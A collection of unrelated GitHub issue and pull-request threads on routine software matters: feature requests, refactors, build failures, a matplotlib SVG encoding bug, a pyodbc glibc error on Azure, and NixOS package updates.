[X] Follow our Code of Conduct
[X] Read the docs.
[X] Check that there isn't already an issue that request the same feature to avoid creating a duplicate.
[X] Make sure this is a Swiper issue and not a framework-specific issue

Would you like to open a PR for this bug?

[ ] I'm willing to open a PR

can you provide a a SSR demo ?


refactor: ResourceTypeHandler interface

For encapsulating logic specific to each k8s resource kind, this is a pre-cursor for external resourcetype plugins and internal refactoring for modularity. If approved the next step would be to:

create a mechanism that adds available handlers to the global config
use these handlers everywhere applicable
refactor one resourcetype to use a handler instead of the existing "hardcoded" approach

once that works we can proceed and refactor for all resourcetypes.
(perhaps it should be called ResourceKindHandler?)

Looks great! Should we merge?

Great work again, Catalin!


Add natural=peninsula preset

OSM Tag(s)
natural=peninsula
How would you like this tag to see supported?
As a Preset
Label
Peninsula
Aliases
No response
Terms
No response
Link to OSM Wiki page
https://wiki.openstreetmap.org/wiki/Tag:natural=peninsula
Status of the Tag
Approved
Usage of the tag
1600
Replaces other Tag?
No response
Regional Tag?
No response
Further Information
While there are relatively few uses, the tag is used for some large and important features (e.g. the Arabian Peninsula).

Note the already controversial/problematic handling of bays and their name tagging - especially enormous ones.

@matkoniecz Are you saying we shouldn't add a preset for this? iD already has presets for bays, capes, islands… lots of similar large features.

Are you saying we shouldn't add a preset for this?

Not entirely sure. If I would be then I would suggest either way.
Just mentioning that it is one of controversial tagging topics.

Thanks for pointing that out @matkoniecz .

similar large features

Another example for similarly large and fuzzy objects might be mountain ranges (e.g. https://www.openstreetmap.org/relation/2698607), which iD still has no dedicated preset for.

shouldn't add a preset for this

iD should have presets also for this kind of objects. The main question would be whether we want to make it searchable or hidden. But whatever we decide, we should consistently use the same for all "similar" presets. IMHO, it's not a big concern that users of iD (& co) would use this preset to create "enormous" objects which might be considered problematic because of their size.

If anyone manages to create one of the controversial monstrosities using iD, preset or no, they should win a prize.


Add pe-terminal package to enable go-based relay-term

This PR adds go-based relay-term package called pe-terminal which will be enabled by default, disabling the old nodejs one instead of removing it, so that we can bring up the old one incase some issue is encountered with the new one.

See a similar PR for snap-pelion-edge:
https://github.com/PelionIoT/snap-pelion-edge/pull/391

@costanic I've added the source-tag and made the suggested changes, this PR is ready for review.
Although the builds are failing due to some check, is there something I might be missing?

@costanic Once this package is added we'll have two terminal-clients active, one is the old nodejs-relay-term and other is this one which can cause conflicts in connection, as part of adding this we also need to disable the old one [not removing for now] which I'm not sure how? So can you suggest me something there? How can I do that?

two terminal-clients active

@adwardstark A couple of options come to mind, there's not really a single correct way to do this since it may not be an issue for users depending on how they install pelion-edge in general.

First, you could simply document the problem in the README because it won't be an issue for normal users who install pelion-edge through the metapackage.  In other words, dual terminal-clients can't happen unless a user takes specific action to manually install the pe-terminal package.  You could warn developers in the install section of the README since it recommends to install *.deb.  You can either direct developers to specifically ignore the pe-terminal package when installing the packages or to manually disable it after installation.

If you wanted to do something in code, you could do something like in this post.  See also the --no-enableand --no-start options.  Here is an example.  Keep in mind you'll need to roll this back when you make pe-terminal the default.

When you're ready for pe-terminal to be the default client for all users, then you'll need to swap out global-node-modules for pe-terminal in the metapackage and delete the global-node-modules package files, assuming global-node-modules has nothing else of value.  If you still want to keep parts of global-node-modules, then remove only the relay-term files from the install script.  And then

two terminal-clients active

@adwardstark A couple of options come to mind, there's not really a single correct way to do this since it may not be an issue for users depending on how they install pelion-edge in general.

First, you could simply document the problem in the README because it won't be an issue for normal users who install pelion-edge through the metapackage.  In other words, dual terminal-clients can't happen unless a user takes specific action to manually install the pe-terminal package.  You could warn developers in the install section of the README since it recommends to install *.deb.  You can either direct developers to specifically ignore the pe-terminal package when installing the packages or to manually disable it after installation.
If you wanted to do something in code, you could do something like in this post.  See also the --no-enableand --no-start options.  Here is an example.  Keep in mind you'll need to roll this back when you make pe-terminal the default.

When you're ready for pe-terminal to be the default client for all users, then you'll need to swap out global-node-modules for pe-terminal in the metapackage and delete the global-node-modules package files, assuming global-node-modules has nothing else of value. If you still want to keep parts of global-node-modules, then remove only the relay-term files from the install script.

@costanic I think there was a misunderstanding, we want to make pe-terminal as default and keep relay-term as a backup option incase of any issues encountered with pe-terminal, so that users can hop-back to relay-term anytime.
Looking at global-node-modules rules, I can see we're configuring relay-term service there, so is it possible if we use --no-enable and --no-start options there? Will it disable relay-term?

@costanic I think there was a misunderstanding, we want to make pe-terminal as default and keep relay-term as a backup option incase of any issues encountered with pe-terminal, so that users can hop-back to relay-term anytime.
Looking at global-node-modules rules, I can see we're configuring relay-term service there, so is it possible if we use --no-enable and --no-start options there? Will it disable relay-term?

@adwardstark Sure, you can use the same technique on the relay-term service instead of pe-terminal, but I don't agree with this approach.  Is pe-terminal not ready for production?  If it is, then we don't need to maintain relay-term.  If not, then it's probably not ready to integrate here.  Even so, have you thought about how the user would enable relay-term as a backup?  I don't see anything here that talks about that use-case.  Are you assuming physical access?

@costanic pe-terminal is production ready but we wanted to do a test drive in the dev-builds and use it internally before enabling it in production builds of pelion-edge. So here the "user" audience is developers. @ygoyal18 this was the intention right?

@costanic After doing the risk assessment, we have decided to go with pe-terminal on LmP Yocto PE 2.5 release (ETA Oct 20th) and remove relay-term. As in terms of functionality, it's a 1:1 replacement and the same has been validated by QA team, it is safe to swap them out. From the user standpoint, there won't be any difference. And if there is regression, then we will handle it on per case basis.
We are taking this bold step for LmP Yocto package because we want to get rid of node.js completely from the image and reduce the user burden of having a powerful build machine to compile Yocto - https://developer.pelion.com/docs/device-management-edge/2.4/quick-start/lmp-quick-start.html#build-machine-requirements. This has been a concern for some customers and project owners have decided to fix it asap.
We can take different approaches for snap and distro as the initial conditions are different. What do you suggest should be our next action item for this PR and for snap one as well?

@whygoyal @adwardstark Circling back to this PR, since relay-term has since been replaced by pe-terminal in meta-pelion-edge, my recommendation is to do the same here.  That means this PR still needs 1. remove global-node-modules and possibly pe-nodejs and 2. replace global-node-modules with pe-terminal in the metapackages.


Implementation and CLI-support for --all-$KIND flags

This implements #3112.
This means all of the following commands are now possible and meaningful:
cargo build --all-bins
cargo build --all-tests
cargo test --all-tests
cargo test --all-bins
cargo check --all-bins --all-examples --all-tests --all-benches

The commits try to represent the incremental "propagation" of the new feature:

core functionality (cargo check --lib passes)
CLI suport (cargo build passes)
additional tests (cargo test covers new functionality)

Note that --all is already reserved to mean "all packages of the workspace", so it can't be used to mean --all-bins --all-examples --all-tests --all-benches.
I intend to follow this up by some other PRs, so please do tell me where I could improve.

Thanks for the pull request, and welcome! The Rust team is excited to review your changes, and you should hear from @brson (or someone else) soon.
If any changes to this PR are deemed necessary, please add them as extra commits. This ensures that the reviewer can see what has changed since they last reviewed the code. Due to the way GitHub handles out-of-date commits, this should also make it reasonably obvious what issues have or haven't been addressed. Large or tricky changes may require several passes of review and changes.
Please see the contribution instructions for more information.

Awesome thanks for the PR @BenWiederhake!
I'm currently traveling but I should be back next week, I'll try to review then.

Thanks for the heads-up, and no hurry :)

I'll second --tests, --bins etc, because we already have the --all flag, which controls an orthogonal feature, which packages are build. It would be prudent to add a test with combination of both features, like cargo build --all --tests

@alexcrichton, re: stylistic nit: ah, yes, those braces belong there.  Added.
@alexcrichton, @matklad, re: rename: ehh, I personally find --all-tests more intuitive, especially since it disables the usually automatic filtering for feature-compatible targets.  But whatever, I changed it, it's only a string anyway.
@matklad, re: cargo build --all --tests: I added tests for the two scenarios in which cargo build --all --examples can occur.  I thought that building examples is slightly more interesting because building the tests can already be done with cargo test --all --no-run.
re: readability of diffs:  all my new commits can be found at the tip of my branch incremental, in case you want to see differences to the previous version of this PR.  For all other purposes, the currently selected branch all-kinds contains appropriately squashed stuff that is freshly rebased on top of master.  Have fun reading.

Looks great to me from a technical perspective, thanks again @BenWiederhake! I'll give others some time to weigh in and then we can see how to move forward.

Ok looks like we don't have too many more opinions, so I'll merge regardless :)
Thanks again for the PR @BenWiederhake!
@bors: r+

:pushpin: Commit 01782fe has been approved by alexcrichton

:hourglass: Testing commit 01782fe with merge b987ce4...

:sunny: Test successful - status-appveyor, status-travis
Approved by: alexcrichton
Pushing b987ce4f26a955595d168abdba951ab4bba63dd2 to master...


docs: add doc of kubernetes and pouch in the domestic

Ⅰ. Describe what this PR did
add doc of kubernetes and pouch in the domestic
Ⅱ. Does this pull request fix one issue?

Ⅲ. Describe how you did it
Ⅳ. Describe how to verify it
Ⅴ. Special notes for reviews

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


[WIP] Configure read replicas on update.

Some of our users need rds read replicas. This is the start of a feature that allows users to provision replicas on service update, like this:
cf update-service my-service -c '{"read_replica_count": 2}'
Tasks:

[x] Create and destroy read replicas on update
[x] Expose replicas in bind credentials
[x] Mark instances as pending when replica scaling is in progress
[x] Allow plans to allow or disallow replicas
[ ] Validate number of replicas
[ ] Only allow replicas on plans with backups enabled
[ ] Test everything

pairing with @sharms

Closing due to inactivity.


Get example=

Initial Checks

[X] I have searched Google & GitHub for similar requests and couldn't find anything
[X] I have read and followed the docs and still think this feature is missing

Description
in Field add
example: Any | None = _Unset,
Affected Components

[ ] Compatibility between releases
[ ] Data validation/parsing
[ ] Data serialization - .model_dump() and .model_dump_json()
[ ] JSON Schema
[ ] Dataclasses
[ ] Model Config
[x] Field Types - adding or changing a particular data type
[ ] Function validation decorator
[ ] Generic Models
[ ] Other Model behaviour - model_construct(), pickling, private attributes, ORM mode
[ ] Plugins and integration with other tools - mypy, FastAPI, python-devtools, Hypothesis, VS Code, PyCharm, etc.

Hi!
Field already has an examples parameter: https://docs.pydantic.dev/latest/api/fields/#pydantic.fields.Field
Not really sure what you're requesting here, closing as not planned for now. Please follow up with a more detailed request if you still have questions!

Hi!
Field already has an examples parameter: https://docs.pydantic.dev/latest/api/fields/#pydantic.fields.Field
Not really sure what you're requesting here, closing as not planned for now. Please follow up with a more detailed request if you still have questions!

“Examples” implies an array, when the variable “Example” can have “str”, which reduces the length of the text, “Example” itself works natively, since “Field” was inherited from “Query”, and “Query” itself has “Example” "
I don’t quite understand why they decided not to add “Example”😢

Example работает в Field, по тем же причинам наследования, но подсвечивает ошибку синтаксиса (Хотя это не так)

Example works in Field, for the same inheritance reasons, but highlights a syntax error (Even though it doesn't)


Failure on pyplot with numpy.sin

Hey! Amazing work with this library! Overall everything has worked but had some issues with plotting.
I'm running a fairly simple example and have had some limited success plotting, however I've had a number of suprises.
Using numpy.sin causes a very weird error:
import seaborn as sns
import matplotlib.pyplot as plt
sns.set_style("darkgrid")
import matplotlib.pyplot as plt
import numpy

x = numpy.array(list(range(10)))
y = numpy.sin( x )

plt.plot( x , y )
plt.show()

And the error:
Traceback (most recent call last):
  File "C:\Users\Sup\AppData\Local\Temp\temp_1659324923767.py", line 11, in <module>
    import io; __obsidian_execute_code_temp_pyplot_var__=io.StringIO(); plt.plot(); plt.savefig(__obsidian_execute_code_temp_pyplot_var__, format='svg'); plt.close(); print(f"
{__obsidian_execute_code_temp_pyplot_var__.getvalue()}
")
  File "C:\Users\Sup\Anaconda3\envs\triton\lib\encodings\cp1252.py", line 19, in encode
    return codecs.charmap_encode(input,self.errors,encoding_table)[0]
UnicodeEncodeError: 'charmap' codec can't encode character '\u2212' in position 7994: character maps to <undefined>

Hey, thanks for the feedback!
This is really weird. When plt.show() is called I generate the plot as svg and load it as html element afterwards. It looks like this error happens when embedding this svg into the note. I will look into this and try to fix it.
If you stumble upon more errors please post them here or in a new issue.

Absolutely I will definitely post any updates I find here. Graphics integrations can be tough.
I've been pondering the best way to create reports with python plots, and im guessing you've given it some thought too :)
I definitely like the ability to run code in browser but I think something like a pweave extension might work well since you choose your markdown files and it will render the output in the same file or different ones with templates.
I wonder if it might be an easier approach to leverage that tool since it seems there's a special emphasis on python here?

@twibiral
Hey got some more info on this, looks like this might be an issue with the file format:
https://github.com/kupiqu/fig2svg/issues/27
on persons conclusion:
I believe that any "extended" characters in tick labels will cause this issue

Modifying my example so that the plot has nothing in the negative quadrangs (\u2212 is minus sign)
import seaborn as sns
import matplotlib.pyplot as plt
sns.set_style("darkgrid")
import matplotlib.pyplot as plt
import numpy

x = numpy.array(list(range(10)))
y = numpy.sin( x ) + 2

p = plt.plot( x , y )
plt.show()

This works OK!

Hi @SoundsSerious did your numpy work?
if so, how did you set up the python path in obsidian? and where was your numpy site-packages in? I just raised this https://github.com/twibiral/obsidian-execute-code/issues/39 and then saw here thus am seeking advice to make numpy works. Thank you!

Yes numpy works for me, i saw your issue too.. looks more like a dependency issue, so i dont think its an issue with the library itself

Same problem here. I may find a solution.
Find this line in main.js, function addInlinePlotsToPython:
const showPlot = 'import io; __obsidian_execute_code_temp_pyplot_var__=io.StringIO(); plt.plot(); plt.savefig(__obsidian_execute_code_temp_pyplot_var__, format=\'svg\'); plt.close(); print(f"
{__obsidian_execute_code_temp_pyplot_var__.getvalue()}
")';

Replace it with:
const showPlot = `import io;import sys;__obsidian_execute_code_temp_pyplot_var__=io.BytesIO();plt.plot();` +
  `plt.savefig(__obsidian_execute_code_temp_pyplot_var__, format='svg');plt.close();` +
  `sys.stdout.buffer.write(__obsidian_execute_code_temp_pyplot_var__.getvalue());`;

No encode problem now, so plot with negative quadrants will render properly, like this:

Ayyy awesome @Thylane! Nice work.
So just to recap on this,  the change is replacing StringIO with BytesIO?  as well as replacing print with stdout.write?

@Thylane thank you! This seems to work. I will release this in about a week.
I would appreciate if you could create a pull request with the fix to develop in the meantime. Otherwise I can change it by myself.

Solved by #44 and published in Release 0.9.2


Reporting events

Description
Fix script get-protection-events-servers.ps1
Related Issue
https://github.com/rubrikinc/rubrik-scripts-for-powershell/issues/152
How Has This Been Tested?
Tested against 5.1 and 5.2 clusters
Screenshots (if appropriate):
Types of changes
What types of changes does your code introduce? Put an x in all the boxes that apply:

[X] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)

Checklist:
Go over all the following points, and put an x in all the boxes that apply. If you're unsure about any of these, don't hesitate to ask. We're here to help!

[X] My code follows the code style of this project.
[X] My change requires a change to the documentation.
[X] I have updated the documentation accordingly.
[X] I have read the CONTRIBUTION document.
[X] I have updated the CHANGELOG file accordingly for the version that this merge modifies.
[X] I have added tests to cover my changes.
[X] All new and existing tests passed.

Bad Git History


Fix _includes/messages.html.twig docs

Shopware labs Change
1. Why is this change necessary?
Correct docs
2. What does this change do, exactly?
Change smarty-syntax to twig-syntax
3. Describe each step to reproduce the issue or behaviour.
x
4. Please link to the relevant issues (if any).
x
5. Which documentation changes (if any) need to be made because of this PR?
x
6. Checklist

[x] I have written tests and verified that they fail without my change
[x] I have squashed any insignificant commits
[x] This change has comments for package types, values, functions, and non-obvious lines of code
[x] I have read the contribution requirements and fulfil them.

Hey @screeny05,
merging this PR wouldn't make too much sense yet, since we're still working on that.
Thanks anyway for your contribution.


Allow to create light with the create service

This PR will allow to create lights with the service /world/<world_name>/create
I'm writting a tutorial to control lights (create, modify and delete).
Signed-off-by: ahcorde<EMAIL_ADDRESS>

By the way, I know there are some Convert funtions on ign-msgs but it does not depend on sdformat. The conversion that I need is between ignition::msgs::Light and sdf::Light. where is the right place to locate this funtion ? Some can idea can be applied to Set.

By the way, I know there are some Convert funtions on ign-msgs but it does not depend on sdformat. The conversion that I need is between ignition::msgs::Light and sdf::Light. where is the right place to locate this funtion ? Some can idea can be applied to Set.

Is this what you are looking for?
https://github.com/ignitionrobotics/ign-gazebo/blob/ign-gazebo4/src/Conversions.cc#L444

Is this what you are looking for?
https://github.com/ignitionrobotics/ign-gazebo/blob/ign-gazebo4/src/Conversions.cc#L444

yes, https://github.com/ignitionrobotics/ign-gazebo/pull/513/commits/a677a912a51952580133401c4c21d4b0e8594201

@iche033 I fixed the test https://github.com/ignitionrobotics/ign-gazebo/pull/513/commits/2d20881652e3b4df2bf1f81144db2c9121f9d394
But I'm curious why is not possible to add more than one light. The SDF format allows to have more than one light as a top-level element. Do you know why this rectriction is here ?
https://github.com/ignitionrobotics/ign-gazebo/blob/66536bb27b1e2a7c57730ce1aa8d49c7777f2b37/src/systems/user_commands/UserCommands.cc#L528-L548

@iche033 I fixed the test https://github.com/ignitionrobotics/ign-gazebo/pull/513/commits/2d20881652e3b4df2bf1f81144db2c9121f9d394
But I'm curious why is not possible to add more than one light. The SDF format allows to have more than one light as a top-level element. Do you know why this rectriction is here ?
https://github.com/ignitionrobotics/ign-gazebo/blob/66536bb27b1e2a7c57730ce1aa8d49c7777f2b37/src/systems/user_commands/UserCommands.cc#L528-L548

But I'm curious why is not possible to add more than one light.

I recall @brawner and @azeey mentioning that we are now limiting the sdf Root to have only contain 1 model/actor/light: osrf/sdformat#444

Just to summarize some of the thinking...
Worlds can continue to contain more than 1 of all those items, this just affects sdf::Root. The motivation is that including an sdf file using the <include> tag leads to ambiguity for the elements in the <include> that override elements in the included sdf. For example, which name would the name element in the <include> tag override if there were more than one model, light or actor in the included file?
In many places in the code base it was already assumed there was only one model/light/actor element in an sdf root element or included file. For now, we've deprecated that functionality with warnings and in the future it will become a hard error.

But I'm curious why is not possible to add more than one light.

I recall @brawner and @azeey mentioning that we are now limiting the sdf Root to have only contain 1 model/actor/light: osrf/sdformat#444

Just to summarize some of the thinking...
Worlds can continue to contain more than 1 of all those items, this just affects sdf::Root. The motivation is that including an sdf file using the <include> tag leads to ambiguity for the elements in the <include> that override elements in the included sdf. For example, which name would the name element in the <include> tag override if there were more than one model, light or actor in the included file?
In many places in the code base it was already assumed there was only one model/light/actor element in an sdf root element or included file. For now, we've deprecated that functionality with warnings and in the future it will become a hard error.

I think we can now revert the change 2d20881652e3b4df2bf1f81144db2c9121f9d394 for the test now the light is being spawned after. This would fix the latest failing test

I think we can now revert the change 2d20881652e3b4df2bf1f81144db2c9121f9d394 for the test now the light is being spawned after. This would fix the latest failing test

I think we can now revert the change 2d20881 for the test now the light is being spawned after. This would fix the latest failing test

I just did this in de02da50d751fb0c435156ac39a9ccc009c93c16. Let me know if that's not correct. Approving if builds turn green

I think we can now revert the change 2d20881 for the test now the light is being spawned after. This would fix the latest failing test

I just did this in de02da50d751fb0c435156ac39a9ccc009c93c16. Let me know if that's not correct. Approving if builds turn green

@iche033 CI is green, there are some flaky tests in the buildfarm

@iche033 CI is green, there are some flaky tests in the buildfarm


Setup Distributed Tracing with Open Telemetry

Proposed changes:

Setup Distributed Tracing with Open Telemetry

Working on new branch. Hence, closing this one.


Fix imports for NSAttributedString extensions

🚀
Does this need a changelog entry? 🧐
Checklist

[x] I checked the Contributing Guidelines before creating this request.
[x] New extensions are written in Swift 5.0.
[x] New extensions support iOS 10.0+ / tvOS 9.0+ / macOS 10.10+ / watchOS 2.0+, or use @available if not.
[x] I have added tests for new extensions, and they passed.
[x] All extensions have a clear comments explaining their functionality, all parameters and return type in English.
[x] All extensions are declared as public.
[ ] I have added a changelog entry describing my changes.

          1 Warning

:warning:
The source files have been modified. Please consider adding a CHANGELOG entry if necessary.

          4 Messages

:book:
Thank you for submitting a pull request to SwifterSwift. The team will review your submission as soon as possible.

:book:
iOS: Executed 700 tests, with 0 failures (0 unexpected) in 16.215 (16.681) seconds

:book:
tvOS: Executed 663 tests, with 0 failures (0 unexpected) in 3.762 (4.108) seconds

:book:
macOS: Executed 514 tests, with 0 failures (0 unexpected) in 4.375 (4.607) seconds

  Generated by :no_entry_sign: Danger

This is an improvement. Minor quibble - bolded and italicized only work when you are using the system font, which is often not the case. For example, the last three apps that I've built all used custom fonts to avoid looking generic. Novice users who are new to attributed string will be particularly befuddled. Might be worth a disclaimer.

@LucianoPAlmeida @omaralbeik I made a tiny change here to make the unit tests ran in randomised order and parallel. The first for reliability that there's no interdependency between tests, and the second for performance (in fairness there isn't much - on my 8-core MBP there's like 0.5-1.0 a second improvement, on average).


Upgrade FreeBSD buildbot images to 11.2-RELEASE

Also, add kcov to the image, so coverage checking will be an option.

Done.


The link to the list of IAB vendors need to be updated

Issue in ./help/landing/governance-privacy-security/consent/iab/overview.md
https://iabeurope.eu/vendor-list-tcf/

We've reviewed the documentation and updated the link. Closing this issue.


Update to OCaml 4.13, to fix build on some modern Linux systems

(see https://github.com/ocaml/ocaml/issues/10250 for background details)

Thank you!


altcoins.btc1: 1.14.5 -> 1.15.1

fix btc1 for 18.03
https://github.com/NixOS/nixpkgs/issues/36453

Failure on x86_64-darwin (full log)
Partial log (click to expand)
checking for lrelease-qt4... no
checking for lrelease4... no
checking for lrelease... /nix/store/r5m4r6mjcdp1s26vlwmgw73kdwjj1xf2-qt-4.8.7/bin/lrelease
checking for lupdate-qt4... no
checking for lupdate4... no
checking for lupdate... /nix/store/r5m4r6mjcdp1s26vlwmgw73kdwjj1xf2-qt-4.8.7/bin/lupdate
checking whether the linker accepts -framework Foundation -framework ApplicationServices -framework AppKit... no
configure: error: could not find base frameworks
builder for '/nix/store/l2hhsj67qwxfls5sag5783ddabd0m16h-bit1-1.15.1.drv' failed with exit code 1
error: build of '/nix/store/l2hhsj67qwxfls5sag5783ddabd0m16h-bit1-1.15.1.drv' failed

Success on x86_64-linux (full log)
Partial log (click to expand)
shrinking /nix/store/12p040vfzg1yvcihdb0q5na0lqxyycmv-bit1-1.15.1/bin/test_bitcoin
shrinking /nix/store/12p040vfzg1yvcihdb0q5na0lqxyycmv-bit1-1.15.1/bin/bench_bitcoin
shrinking /nix/store/12p040vfzg1yvcihdb0q5na0lqxyycmv-bit1-1.15.1/bin/bitcoin-qt
shrinking /nix/store/12p040vfzg1yvcihdb0q5na0lqxyycmv-bit1-1.15.1/bin/test_bitcoin-qt
gzipping man pages under /nix/store/12p040vfzg1yvcihdb0q5na0lqxyycmv-bit1-1.15.1/share/man/
strip is /nix/store/b0zlxla7dmy1iwc3g459rjznx59797xy-binutils-2.28.1/bin/strip
stripping (with command strip and flags -S) in /nix/store/12p040vfzg1yvcihdb0q5na0lqxyycmv-bit1-1.15.1/lib  /nix/store/12p040vfzg1yvcihdb0q5na0lqxyycmv-bit1-1.15.1/bin
patching script interpreter paths in /nix/store/12p040vfzg1yvcihdb0q5na0lqxyycmv-bit1-1.15.1
checking for references to /build in /nix/store/12p040vfzg1yvcihdb0q5na0lqxyycmv-bit1-1.15.1...
/nix/store/12p040vfzg1yvcihdb0q5na0lqxyycmv-bit1-1.15.1

Failure on aarch64-linux (full log)
Partial log (click to expand)
  CXX      test/test_test_bitcoin-DoS_tests.o
  CXX      test/test_test_bitcoin-getarg_tests.o
  CXX      test/test_test_bitcoin-hash_tests.o
  CXX      test/test_test_bitcoin-key_tests.o
  CXX      test/test_test_bitcoin-limitedmap_tests.o
  CXX      test/test_test_bitcoin-dbwrapper_tests.o
  CXX      test/test_test_bitcoin-main_tests.o
  CXX      test/test_test_bitcoin-mempool_tests.o
building of '/nix/store/01w5ndijaj6vgg7sx7cx7bp1s0k4ky64-bit1-1.15.1.drv' timed out after 3600 seconds
error: build of '/nix/store/01w5ndijaj6vgg7sx7cx7bp1s0k4ky64-bit1-1.15.1.drv' failed

0bd5b4aa99fae39ed0978e27bc8641ef5ae2952e


Python 3.7.9 and pyodbc on app service glibc error

Have not made any changes to my python app service and it now fails. I thnk it is becuase python version has changed. I am getting an error message saying pyodbc now needs glibc 2.29. Which isnt available on the debian 9 app services.
django.core.exceptions.ImproperlyConfigured: Error loading pyodbc module: /lib/x86_64-linux-gnu/libm.so.6: version `GLIBC_2.29' not found (required by /home/site/wwwroot/antenv/lib/python3.7/site-packages/pyodbc.cpython-37m-x86_64-linux-gnu.so).
To replicate try and use python 3.7.9 and pyodbc on a linux app service

Hello @lukesavvatiller,
Could you please provide more details regarding the issue you have faced:

environment(ubuntu/macos/windows)
how to reproduce the issue(minimal steps to reproduce or test project)
did you try to reproduce the issue locally?

We are looking forward to your reply.

Hello @lukesavvatiller,
Could you please check the reply above and provide additional information regarding the issue you've reported?
We are looking forward to your reply.

So i have a python django api which is built and released on ubuntu 20.04 build/ release pipelines and deployed to a linux app service. The django app used an azure sql server utilising pyodbc to connect. We use the UsePythonVersion task in our pipelines to get python. It appears that this task has been updated and now uses a different version of python/ pyodbc?
The result is.. that pyodbc gets installed in the build pipeline and runs our tests fine.. but on deployment to the debian 9 app service it throws the error django.core.exceptions.ImproperlyConfigured: Error loading pyodbc module: /lib/x86_64-linux-gnu/libm.so.6: version GLIBC_2.29' not found (required by /home/site/wwwroot/antenv/lib/python3.7/site-packages/pyodbc.cpython-37m-x86_64-linux-gnu.so)`.
It is complaining that pyodbc cannot find GLIBC_2.29, however the most recent GLIBC is 2.24 for debian 9 but 2.29 is available on the ubuntu 20.04 pipelines. I have tried changing to different OS on the pipelines to no avail. The (ugly) workaround for now is that i have had to write tasks to install python directly from the deadsnakes repository on the build and release pipeline. This has fixed the errors. So if i use the version of python from deadsnakes everything works but the UsePythonTask causes pyodbc to fail on debian 9.

For anyone else struggling with this issue. I added this script to the build and release pipeline:
`- stage: Build
displayName: Build stage
jobs:

job: BuildJob
pool:
vmImage: $(vmImageName)
steps:

script: |
add deadsnakes repo, install 3.7 and symlink python to python3.7
sudo apt update
sudo apt install software-properties-common
yes | sudo add-apt-repository ppa:deadsnakes/ppa
sudo apt-get install python3.7
sudo rm -rf /usr/bin/python
sudo ln -s /usr/bin/python3.7 /usr/bin/python
python -m pip install virtualenv
sudo apt-get install unixodbc-dev
sudo apt install python3.7-dev
python -m pip install --user pyodbc
python -m virtualenv antenv
source antenv/bin/activate
python -V
python -c "import sys; print(sys.executable)"
python -m pip install --upgrade pip
pip install setup
pip install -r requirements.txt
workingDirectory: $(projectRoot)
displayName: "Install requirements"`

@Darleev, in order to reproduce the issue. Create a python (it might have to be django) application that uses the pyodbc library. Build and release this application on ubuntu pipelines and deploy to a linux azure app service. You will get the error message on startup of the app service.

@lukesavvatiller Did you try to specify an exact version of python in the UsePythonVersion(including minor version) task? It should also resolve the initial problem.

@lukesavvatiller unfortunately, we are not deep python experts, and the creation of this test app is a significant time-consuming task, that might extend the issue investigation period. We would really appreciate it if you could provide some public repo with minimal repro steps, so we will be sure what is the exact issue and project configuration we have to deal with.

Hello @lukesavvatiller,
I'm going to close the issue until further updates from your side.
In case of any questions do not hesitate to contact us.

@Darleev @alexander-smolyakov
Same thing happened with me - working CI build stopped working with no code change.
Hope it's ok to hop on this issue to provide a minimal repro.
If you prefer, I can also move this over to a new issue.
Here is the actual project failure
https://github.com/gtalarico/gh-actions-repro/runs/2330808953?check_suite_focus=true
Workflow:
https://github.com/gtalarico/gh-actions-repro/blob/master/.github/workflows/django.yml
Screenshot

name: Bug Repro

on:
  push:
    branches: [master]
  pull_request:
    branches: [master]

jobs:
  container-job:
    runs-on: ubuntu-latest
    container: python:3.8

    strategy:
      max-parallel: 1
      matrix:
        python-version: [3.8]

    steps:
      - uses: actions/checkout@v2
      - name: Set up Python ${{ matrix.python-version }}
        uses: actions/setup-python@v1
        with:
          python-version: ${{ matrix.python-version }}

      - name: Install Dependencies
        run: |
          python -m pip install --upgrade pip
          pip install requests

      - name: Run Tests
        run: |
          python -c "from datetime import datetime; print(datetime.now())"

@gtalarico, I am still using my workaround that i posted above. Installing python and odbc from source.


version 0.09 ?

In the CCRL list https://www.computerchess.org.uk/ccrl/4040/rating_list_all.html i find "Capivara LK 0.09b02f 64-bit", which seems a newer version then the one at these GitHub pages .. can you explain ?

That Capivara engine is another chess engine, in C++, with the same name:
https://www.chessprogramming.org/Capivara
Unfortunately I have picked an existing chess engine name for this repository, hence the name clash.


Add missing Estonian translations

Task/Issue URL: https://app.asana.com/0/0/1208558284050278/f
Description
Steps to test this PR
Feature 1

[ ]
[ ]

UI changes

Before
After

!(Upload before screenshot)
(Upload after screenshot)

#5188  👈
develop

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @CrisBarreiro and the rest of your teammates on  Graphite


gnugo: pul patch pending upstream inclusion for -fno-common toolchain…

… support
Without the change build on upstream gcc-10 fails as:
ld: dfa.o:/build/gnugo-3.8/patterns/../engine/liberty.h:861: multiple definition of
  `meaningless_white_moves'; mkpat.o:/build/gnugo-3.8/patterns/../engine/liberty.h:861: first defined here
ld: dfa.o:/build/gnugo-3.8/patterns/../engine/liberty.h:860: multiple definition of
  `meaningless_black_moves'; mkpat.o:/build/gnugo-3.8/patterns/../engine/liberty.h:860: first defined here

Description of changes

Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
22.05 Release Notes (or backporting 21.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[ ] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 173856 run on x86_64-linux 1

1 package built:

gnugo


Package drop down only displays the first 100 or so packages

We have a couple thousand packages and would love to use this but it not feasible because the package only displays 100 packages in the drop down.  Can you fix it so the drop down displays all of our packages from our VSTS feed?

Thanks for your comment.
Most of my users suffice by this functionality. If you want to support this , I happily accept your pull request!
Thanks
Rene
Verstuurd vanaf mijn iPhone
Op 2 mrt. 2020 om 13:37 heeft matt-lacross<EMAIL_ADDRESS>het volgende geschreven:

